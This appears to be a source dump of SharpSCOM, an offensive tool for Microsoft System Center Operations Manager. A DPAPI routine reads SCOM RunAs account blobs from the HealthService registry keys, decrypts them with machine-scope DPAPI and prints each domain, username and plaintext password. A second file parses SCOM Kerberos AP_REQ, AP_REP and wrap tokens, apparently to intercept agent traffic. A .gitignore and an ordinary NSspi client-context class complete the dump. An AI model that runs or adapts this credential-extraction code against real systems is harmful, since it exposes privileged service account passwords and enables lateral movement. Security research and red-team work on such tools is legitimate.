DPAPIDecrypt 26 | { 27 | private static ILogger logger => LoggerFactory.Logger; 28 | 29 | private const string REGISTRY_BASE_PATH = @"SYSTEM\CurrentControlSet\Services\HealthService\Parameters\Management Groups"; 30 | 31 | public static List ExtractRunAsCredentials() 32 | { 33 | var credentials = new List(); 34 | 35 | logger.Info("Searching for RunAs credentials in registry..."); 36 | 37 | try 38 | { 39 | using (var baseKey = Registry.LocalMachine.OpenSubKey(REGISTRY_BASE_PATH)) 40 | { 41 | if (baseKey == null) 42 | { 43 | logger.Error($"Registry path not found: {REGISTRY_BASE_PATH}"); 44 | return credentials; 45 | } 46 | 47 | // Navigate through the nested structure: *\SSDB\SSIDs\* 48 | foreach (var mgName in baseKey.GetSubKeyNames()) 49 | { 50 | string ssdbPath = $"{REGISTRY_BASE_PATH}\\{mgName}\\SSDB\\SSIDs"; 51 | 52 | logger.Debug($"Checking management group: {mgName}"); 53 | 54 | using (var ssidsKey = Registry.LocalMachine.OpenSubKey(ssdbPath)) 55 | { 56 | if (ssidsKey == null) 57 | { 58 | logger.Debug($"No SSIDs found in {mgName}"); 59 | continue; 60 | } 61 | 62 | foreach (var ssidName in ssidsKey.GetSubKeyNames()) 63 | { 64 | string fullPath = $"{ssdbPath}\\{ssidName}"; 65 | 66 | using (var key = Registry.LocalMachine.OpenSubKey(fullPath)) 67 | { 68 | if (key == null) 69 | continue; 70 | 71 | var value = key.GetValue("") as byte[]; 72 | if (value == null || value.Length < Constants.DPAPI_ENTROPY_SIZE) 73 | { 74 | logger.Error($"Skipping {ssidName} - invalid data"); 75 | continue; 76 | } 77 | 78 | var credential = DecryptCredential(value, fullPath, logger); 79 | if (credential != null) 80 | { 81 | credentials.Add(credential); 82 | } 83 | } 84 | } 85 | } 86 | } 87 | } 88 | 89 | // Display summary 90 | if (credentials.Count > 0) 91 | { 92 | logger.Info($"Found {credentials.Count} credentials"); 93 | Console.WriteLine(); 94 | foreach (var cred in credentials) 95 | { 96 | Console.WriteLine($"Username: {cred.GetFullUsername()}"); 97 | Console.WriteLine($"Password: {cred.Password}"); 98 | Console.WriteLine(); 99 | } 100 | logger.Info("Completed"); 101 | } 102 | else 103 | { 104 | logger.Info("No credentials found"); 105 | } 106 | } 107 | catch (UnauthorizedAccessException ex) 108 | { 109 | logger.Error("Access denied. Run as Administrator to access registry keys", ex); 110 | } 111 | catch (Exception ex) 112 | { 113 | logger.Error($"Error accessing registry: {ex.Message}", ex); 114 | } 115 | 116 | return credentials; 117 | } 118 | 119 | private static Credential DecryptCredential(byte[] value, string registryPath, ILogger logger) 120 | { 121 | try 122 | { 123 | if (value.Length < Constants.DPAPI_ENTROPY_SIZE) 124 | { 125 | logger.Debug($"Invalid credential data at {registryPath}: too short ({value.Length} bytes)"); 126 | return null; 127 | } 128 | 129 | // Last 0x400 bytes are entropy 130 | byte[] entropy = new byte[Constants.DPAPI_ENTROPY_SIZE]; 131 | Array.Copy(value, value.Length - Constants.DPAPI_ENTROPY_SIZE, entropy, 0, Constants.DPAPI_ENTROPY_SIZE); 132 | 133 | // Remaining bytes are encrypted data 134 | int encDataLen = value.Length - Constants.DPAPI_ENTROPY_SIZE; 135 | byte[] encData = new byte[encDataLen]; 136 | Array.Copy(value, 0, encData, 0, encDataLen); 137 | 138 | // Decrypt using DPAPI 139 | byte[] decryptedBytes = ProtectedData.Unprotect( 140 | encData, 141 | entropy, 142 | DataProtectionScope.LocalMachine 143 | ); 144 | 145 | string decrypted = Encoding.Unicode.GetString(decryptedBytes); 146 | 147 | // Split by null character and take first 3 values 148 | string[] parts = decrypted.Split('\0'); 149 | 150 | if (parts.Length >= 3) 151 | { 152 | return new Credential 153 | { 154 | Domain = parts[0], 155 | User = parts[1], 156 | Password = parts[2], 157 | RegistryPath = registryPath 158 | }; 159 | } 160 | 161 | logger.Debug($"Insufficient credential parts at {registryPath}: found {parts.Length}, expected 3+"); 162 | return null; 163 | } 164 | catch (CryptographicException ex) 165 | { 166 | logger.Debug($"DPAPI decryption failed at {registryPath}: {ex.Message}"); 167 | return null; 168 | } 169 | catch (Exception ex) 170 | { 171 | logger.Debug($"Error decrypting credential at {registryPath}: {ex.Message}"); 172 | return null; 173 | } 174 | } 175 | } 176 | } -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Oo]ut/ 33 | [Ll]og/ 34 | [Ll]ogs/ 35 | 36 | # Visual Studio 2015/2017 cache/options directory 37 | .vs/ 38 | # Uncomment if you have tasks that create the project's static files in wwwroot 39 | #wwwroot/ 40 | 41 | # Visual Studio 2017 auto generated files 42 | Generated\ Files/ 43 | 44 | # MSTest test Results 45 | [Tt]est[Rr]esult*/ 46 | [Bb]uild[Ll]og.* 47 | 48 | # NUnit 49 | *.VisualState.xml 50 | TestResult.xml 51 | nunit-*.xml 52 | 53 | # Build Results of an ATL Project 54 | [Dd]ebugPS/ 55 | [Rr]eleasePS/ 56 | dlldata.c 57 | 58 | # Benchmark Results 59 | BenchmarkDotNet.Artifacts/ 60 | 61 | # .NET Core 62 | project.lock.json 63 | project.fragment.lock.json 64 | artifacts/ 65 | 66 | # ASP.NET Scaffolding 67 | ScaffoldingReadMe.txt 68 | 69 | # StyleCop 70 | StyleCopReport.xml 71 | 72 | # Files built by Visual Studio 73 | *_i.c 74 | *_p.c 75 | *_h.h 76 | *.ilk 77 | *.meta 78 | *.obj 79 | *.iobj 80 | *.pch 81 | *.pdb 82 | *.ipdb 83 | *.pgc 84 | *.pgd 85 | *.rsp 86 | *.sbr 87 | *.tlb 88 | *.tli 89 | *.tlh 90 | *.tmp 91 | *.tmp_proj 92 | *_wpftmp.csproj 93 | *.log 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio LightSwitch build output 298 | **/*.HTMLClient/GeneratedArtifacts 299 | **/*.DesktopClient/GeneratedArtifacts 300 | **/*.DesktopClient/ModelManifest.xml 301 | **/*.Server/GeneratedArtifacts 302 | **/*.Server/ModelManifest.xml 303 | _Pvt_Extensions 304 | 305 | # Paket dependency manager 306 | .paket/paket.exe 307 | paket-files/ 308 | 309 | # FAKE - F# Make 310 | .fake/ 311 | 312 | # CodeRush personal settings 313 | .cr/personal 314 | 315 | # Python Tools for Visual Studio (PTVS) 316 | __pycache__/ 317 | *.pyc 318 | 319 | # Cake - Uncomment if you are using it 320 | # tools/** 321 | # !tools/packages.config 322 | 323 | # Tabs Studio 324 | *.tss 325 | 326 | # Telerik's JustMock configuration file 327 | *.jmconfig 328 | 329 | # BizTalk build output 330 | *.btp.cs 331 | *.btm.cs 332 | *.odx.cs 333 | *.xsd.cs 334 | 335 | # OpenCover UI analysis results 336 | OpenCover/ 337 | 338 | # Azure Stream Analytics local run output 339 | ASALocalRun/ 340 | 341 | # MSBuild Binary and Structured Log 342 | *.binlog 343 | 344 | # NVidia Nsight GPU debugger configuration file 345 | *.nvuser 346 | 347 | # MFractors (Xamarin productivity tool) working folder 348 | .mfractor/ 349 | 350 | # Local History for Visual Studio 351 | .localhistory/ 352 | 353 | # BeatPulse healthcheck temp database 354 | healthchecksdb 355 | 356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 357 | MigrationBackup/ 358 | 359 | # Ionide (cross platform F# VS Code tools) working folder 360 | .ionide/ 361 | 362 | # Fody - auto-generated XML schema 363 | FodyWeavers.xsd 364 | 365 | .DS_Store 366 | -------------------------------------------------------------------------------- /SharpSCOM/Auth/KerberosMessageParser.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.IO.Compression; 4 | using System.Linq; 5 | using System.Net.Sockets; 6 | using SharpSCOM.Common; 7 | 8 | namespace SharpSCOM.Auth 9 | { 10 | public static class KerberosMessageParser 11 | { 12 | private static ILogger logger => LoggerFactory.Logger; 13 | public static byte[] ParseApReq(NetworkStream networkStream) 14 | { 15 | try 16 | { 17 | // Read and discard SCOM header 18 | byte[] scom_header = new byte[Protocol.AP_REQ_HEADER_OFFSET]; 19 | int bytesRead = networkStream.Read(scom_header, 0, Protocol.AP_REQ_HEADER_OFFSET); 20 | 21 | logger.Debug($"scom_header: {BitConverter.ToString(scom_header)}"); 22 | 23 | // Read first size value (4 bytes, little endian) 24 | byte[] ap_req_size_bytes_1 = new byte[4]; 25 | networkStream.Read(ap_req_size_bytes_1, 0, 4); 26 | int ap_req_size_int_1 = BitConverter.ToInt32(ap_req_size_bytes_1, 0); 27 | 28 | logger.Debug($"ap_req_size_bytes_1: {BitConverter.ToString(ap_req_size_bytes_1)}"); 29 | logger.Debug($"ap_req_size_int_1: {ap_req_size_int_1}"); 30 | 31 | // Skip 4 bytes 32 | networkStream.Read(new byte[4], 0, 4); 33 | 34 | // Read second size value (4 bytes, little endian) 35 | byte[] ap_req_size_bytes_2 = new byte[4]; 36 | networkStream.Read(ap_req_size_bytes_2, 0, 4); 37 | int ap_req_size_int_2 = BitConverter.ToInt32(ap_req_size_bytes_2, 0); 38 | 39 | logger.Debug($"ap_req_size_bytes_2: {BitConverter.ToString(ap_req_size_bytes_2)}"); 40 | logger.Debug($"ap_req_size_int_2: {ap_req_size_int_2}"); 41 | 42 | // Read the AP_REQ data 43 | byte[] clientToken = new byte[ap_req_size_int_2]; 44 | networkStream.Read(clientToken, 0, clientToken.Length); 45 | 46 | logger.Debug($"got client AP_REQ: {BitConverter.ToString(clientToken)}"); 47 | 48 | return clientToken; 49 | } 50 | catch (Exception ex) 51 | { 52 | Console.WriteLine($"[!] ERROR parsing AP_REQ: {ex.Message}"); 53 | return null; 54 | } 55 | } 56 | 57 | public static byte[] ParseApRep(NetworkStream networkStream) 58 | { 59 | try 60 | { 61 | // Read and discard SCOM header 62 | byte[] scom_header = new byte[Protocol.AP_REP_HEADER_OFFSET]; 63 | networkStream.Read(scom_header, 0, Protocol.AP_REP_HEADER_OFFSET); 64 | 65 | logger.Debug($"scom_header: {BitConverter.ToString(scom_header)}"); 66 | 67 | // Skip 4 bytes 68 | networkStream.Read(new byte[Protocol.AP_REP_SKIP_BYTES], 0, Protocol.AP_REP_SKIP_BYTES); 69 | 70 | // Read size value 71 | byte[] ap_rep_size_bytes = new byte[4]; 72 | networkStream.Read(ap_rep_size_bytes, 0, 4); 73 | int ap_rep_size = BitConverter.ToInt32(ap_rep_size_bytes, 0); 74 | 75 | logger.Debug($"ap_rep_size_bytes_1: {BitConverter.ToString(ap_rep_size_bytes)}"); 76 | logger.Debug($"ap_rep_size_int_1: {ap_rep_size}"); 77 | 78 | // Read the AP_REP data 79 | byte[] clientToken = new byte[ap_rep_size]; 80 | networkStream.Read(clientToken, 0, clientToken.Length); 81 | 82 | logger.Debug($"(got client AS-REP): {BitConverter.ToString(clientToken)}"); 83 | 84 | return clientToken; 85 | } 86 | catch (Exception ex) 87 | { 88 | Console.WriteLine($"[!] ERROR parsing AP_REP: {ex.Message}"); 89 | return null; 90 | } 91 | } 92 | 93 | public static byte[] ParseKerbWrapToken(NetworkStream networkStream) 94 | { 95 | try 96 | { 97 | // Read wrap token header 98 | byte[] kerb_wrap_header_bytes = new byte[Protocol.KERB_WRAP_HEADER_SIZE]; 99 | int bytesRead = networkStream.Read(kerb_wrap_header_bytes, 0, Protocol.KERB_WRAP_HEADER_SIZE); 100 | 101 | logger.Debug($"kerb_wrap_header_bytes: {BitConverter.ToString(kerb_wrap_header_bytes)}"); 102 | 103 | // Extract the size from the header 104 | byte[] kerb_wrap_size_bytes = kerb_wrap_header_bytes 105 | .Skip(Protocol.KERB_WRAP_SIZE_OFFSET) 106 | .Take(4) 107 | .ToArray(); 108 | 109 | int kerb_wrap_size = BitConverter.ToInt32(kerb_wrap_size_bytes, 0); 110 | 111 | logger.Debug($"kerb_wrap_size_bytes_1: {BitConverter.ToString(kerb_wrap_size_bytes)}"); 112 | logger.Debug($"kerb_wrap_size_int_1: {kerb_wrap_size}"); 113 | 114 | // Read the token data 115 | byte[] tokenData = new byte[kerb_wrap_size]; 116 | networkStream.Read(tokenData, 0, tokenData.Length); 117 | 118 | // Combine header and data 119 | byte[] combinedArray = kerb_wrap_header_bytes.Concat(tokenData).ToArray(); 120 | 121 | logger.Debug($"got client Kerb Wrap Token: {BitConverter.ToString(combinedArray)} length: {combinedArray.Length}"); 122 | 123 | return combinedArray; 124 | } 125 | catch (Exception ex) 126 | { 127 | Console.WriteLine($"[!] ERROR parsing Kerberos wrap token: {ex.Message}"); 128 | return null; 129 | } 130 | } 131 | 132 | public static byte[] ParseDecWrapToken(byte[] dec_kerb_wrap_bytes) 133 | { 134 | try 135 | { 136 | using (MemoryStream memStream = new MemoryStream(dec_kerb_wrap_bytes)) 137 | { 138 | // Skip decrypted kerberos wrap token header 139 | byte[] dec_wrap_header_bytes = new byte[Protocol.DEC_WRAP_HEADER_SIZE]; 140 | memStream.Read(dec_wrap_header_bytes, 0, Protocol.DEC_WRAP_HEADER_SIZE); 141 | 142 | // Read zlib compressed size 143 | byte[] zlib_size_bytes = new byte[4]; 144 | memStream.Read(zlib_size_bytes, 0, 4); 145 | int zlib_size = BitConverter.ToInt32(zlib_size_bytes, 0); 146 | 147 | logger.Debug($"dec_wrap_header_bytes: {BitConverter.ToString(dec_wrap_header_bytes)}"); 148 | logger.Debug($"zlib_size_int: {zlib_size}"); 149 | 150 | // Skip zlib header bytes (0x78, 0x9C) 151 | memStream.Read(new byte[Protocol.ZLIB_HEADER_SIZE], 0, Protocol.ZLIB_HEADER_SIZE); 152 | 153 | // Read compressed data 154 | byte[] zlib_data = new byte[zlib_size]; 155 | memStream.Read(zlib_data, 0, zlib_data.Length); 156 | 157 | // Decompress 158 | byte[] decompressed = DecompressZlib(zlib_data); 159 | 160 | logger.Debug($"(decompressed zlib_data base64): {Convert.ToBase64String(decompressed)}"); 161 | 162 | 163 | return decompressed; 164 | } 165 | } 166 | catch (Exception ex) 167 | { 168 | Console.WriteLine($"[!] ERROR parsing decrypted wrap token: {ex.Message}"); 169 | return null; 170 | } 171 | } 172 | 173 | // Account for Right Rotation Count (RRC) 174 | // https://datatracker.ietf.org/doc/html/rfc4121#section-4.2.5 175 | public static byte[] SwapBytes(byte[] byteArray) 176 | { 177 | if (byteArray == null || byteArray.Length < 6) 178 | return byteArray; 179 | 180 | byte[] swappedArray = (byte[])byteArray.Clone(); 181 | 182 | swappedArray[0] = byteArray[1]; 183 | swappedArray[1] = byteArray[0]; 184 | 185 | swappedArray[4] = byteArray[5]; 186 | swappedArray[5] = byteArray[4]; 187 | 188 | return swappedArray; 189 | } 190 | 191 | private static byte[] DecompressZlib(byte[] compressedData) 192 | { 193 | using (MemoryStream inputStream = new MemoryStream(compressedData, false)) 194 | using (MemoryStream outputStream = new MemoryStream()) 195 | using (DeflateStream deflateStream = new DeflateStream(inputStream, CompressionMode.Decompress)) 196 | { 197 | deflateStream.CopyTo(outputStream); 198 | return outputStream.ToArray(); 199 | } 200 | } 201 | } 202 | } -------------------------------------------------------------------------------- /nsspi/NSspi/Contexts/ClientContext.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using NSspi.Buffers; 3 | using NSspi.Credentials; 4 | 5 | namespace NSspi.Contexts 6 | { 7 | /// 8 | /// Represents a client security context. Provides the means to establish a shared security context 9 | /// with the server and to encrypt, decrypt, sign and verify messages to and from the server. 10 | /// 11 | /// 12 | /// A client and server establish a shared security context by exchanging authentication tokens. Once 13 | /// the shared context is established, the client and server can pass messages to each other, encrypted, 14 | /// signed, etc, using the established parameters of the shared context. 15 | /// 16 | public class ClientContext : Context 17 | { 18 | private ContextAttrib requestedAttribs; 19 | private ContextAttrib finalAttribs; 20 | private string serverPrinc; 21 | 22 | /// 23 | /// Initializes a new instance of the ClientContext class. The context is not fully initialized and usable 24 | /// until the authentication cycle has been completed. 25 | /// 26 | /// The security credential to authenticate as. 27 | /// The principle name of the server to connect to, or null for any. 28 | /// Requested attributes that describe the desired properties of the 29 | /// context once it is established. If a context cannot be established that satisfies the indicated 30 | /// properties, the context initialization is aborted. 31 | public ClientContext( Credential cred, string serverPrinc, ContextAttrib requestedAttribs ) 32 | : base( cred ) 33 | { 34 | this.serverPrinc = serverPrinc; 35 | this.requestedAttribs = requestedAttribs; 36 | } 37 | 38 | /// 39 | /// Performs and continues the authentication cycle. 40 | /// 41 | /// 42 | /// This method is performed iteratively to start, continue, and end the authentication cycle with the 43 | /// server. Each stage works by acquiring a token from one side, presenting it to the other side 44 | /// which in turn may generate a new token. 45 | /// 46 | /// The cycle typically starts and ends with the client. On the first invocation on the client, 47 | /// no server token exists, and null is provided in its place. The client returns its status, providing 48 | /// its output token for the server. The server accepts the clients token as input and provides a 49 | /// token as output to send back to the client. This cycle continues until the server and client 50 | /// both indicate, typically, a SecurityStatus of 'OK'. 51 | /// 52 | /// The most recently received token from the server, or null if beginning 53 | /// the authentication cycle. 54 | /// The clients next authentication token in the authentication cycle. 55 | /// A status message indicating the progression of the authentication cycle. 56 | /// A status of 'OK' indicates that the cycle is complete, from the client's perspective. If the outToken 57 | /// is not null, it must be sent to the server. 58 | /// A status of 'Continue' indicates that the output token should be sent to the server and 59 | /// a response should be anticipated. 60 | public SecurityStatus Init( byte[] serverToken, out byte[] outToken ) 61 | { 62 | TimeStamp rawExpiry = new TimeStamp(); 63 | 64 | SecurityStatus status; 65 | 66 | SecureBuffer outTokenBuffer; 67 | SecureBufferAdapter outAdapter; 68 | 69 | SecureBuffer serverBuffer; 70 | SecureBufferAdapter serverAdapter; 71 | 72 | if( this.Disposed ) 73 | { 74 | throw new ObjectDisposedException( "ClientContext" ); 75 | } 76 | else if( ( serverToken != null ) && ( this.ContextHandle.IsInvalid ) ) 77 | { 78 | throw new InvalidOperationException( "Out-of-order usage detected - have a server token, but no previous client token had been created." ); 79 | } 80 | else if( ( serverToken == null ) && ( this.ContextHandle.IsInvalid == false ) ) 81 | { 82 | throw new InvalidOperationException( "Must provide the server's response when continuing the init process." ); 83 | } 84 | 85 | // The security package tells us how big its biggest token will be. We'll allocate a buffer 86 | // that size, and it'll tell us how much it used. 87 | outTokenBuffer = new SecureBuffer( 88 | new byte[this.Credential.PackageInfo.MaxTokenLength], 89 | BufferType.Token 90 | ); 91 | 92 | serverBuffer = null; 93 | if( serverToken != null ) 94 | { 95 | serverBuffer = new SecureBuffer( serverToken, BufferType.Token ); 96 | } 97 | 98 | // Some notes on handles and invoking InitializeSecurityContext 99 | // - The first time around, the phContext parameter (the 'old' handle) is a null pointer to what 100 | // would be an RawSspiHandle, to indicate this is the first time it's being called. 101 | // The phNewContext is a pointer (reference) to an RawSspiHandle struct of where to write the 102 | // new handle's values. 103 | // - The next time you invoke ISC, it takes a pointer to the handle it gave you last time in phContext, 104 | // and takes a pointer to where it should write the new handle's values in phNewContext. 105 | // - After the first time, you can provide the same handle to both parameters. From MSDN: 106 | // "On the second call, phNewContext can be the same as the handle specified in the phContext 107 | // parameter." 108 | // It will overwrite the handle you gave it with the new handle value. 109 | // - All handle structures themselves are actually *two* pointer variables, eg, 64 bits on 32-bit 110 | // Windows, 128 bits on 64-bit Windows. 111 | // - So in the end, on a 64-bit machine, we're passing a 64-bit value (the pointer to the struct) that 112 | // points to 128 bits of memory (the struct itself) for where to write the handle numbers. 113 | using( outAdapter = new SecureBufferAdapter( outTokenBuffer ) ) 114 | { 115 | if( this.ContextHandle.IsInvalid ) 116 | { 117 | status = ContextNativeMethods.InitializeSecurityContext_1( 118 | ref this.Credential.Handle.rawHandle, 119 | IntPtr.Zero, 120 | this.serverPrinc, 121 | this.requestedAttribs, 122 | 0, 123 | SecureBufferDataRep.Network, 124 | IntPtr.Zero, 125 | 0, 126 | ref this.ContextHandle.rawHandle, 127 | outAdapter.Handle, 128 | ref this.finalAttribs, 129 | ref rawExpiry 130 | ); 131 | } 132 | else 133 | { 134 | using( serverAdapter = new SecureBufferAdapter( serverBuffer ) ) 135 | { 136 | status = ContextNativeMethods.InitializeSecurityContext_2( 137 | ref this.Credential.Handle.rawHandle, 138 | ref this.ContextHandle.rawHandle, 139 | this.serverPrinc, 140 | this.requestedAttribs, 141 | 0, 142 | SecureBufferDataRep.Network, 143 | serverAdapter.Handle, 144 | 0, 145 | ref this.ContextHandle.rawHandle, 146 | outAdapter.Handle, 147 | ref this.finalAttribs, 148 | ref rawExpiry 149 | ); 150 | } 151 | } 152 | } 153 | 154 | if( status.IsError() == false ) 155 | { 156 | if( status == SecurityStatus.OK ) 157 | { 158 | base.Initialize( rawExpiry.ToDateTime() ); 159 | } 160 | 161 | outToken = null; 162 | 163 | if( outTokenBuffer.Length != 0 ) 164 | { 165 | outToken = new byte[outTokenBuffer.Length]; 166 | Array.Copy( outTokenBuffer.Buffer, outToken, outToken.Length ); 167 | } 168 | } 169 | else 170 | { 171 | throw new SSPIException( "Failed to invoke InitializeSecurityContext for a client", status ); 172 | } 173 | 174 | return status; 175 | } 176 | } 177 | } --------------------------------------------------------------------------------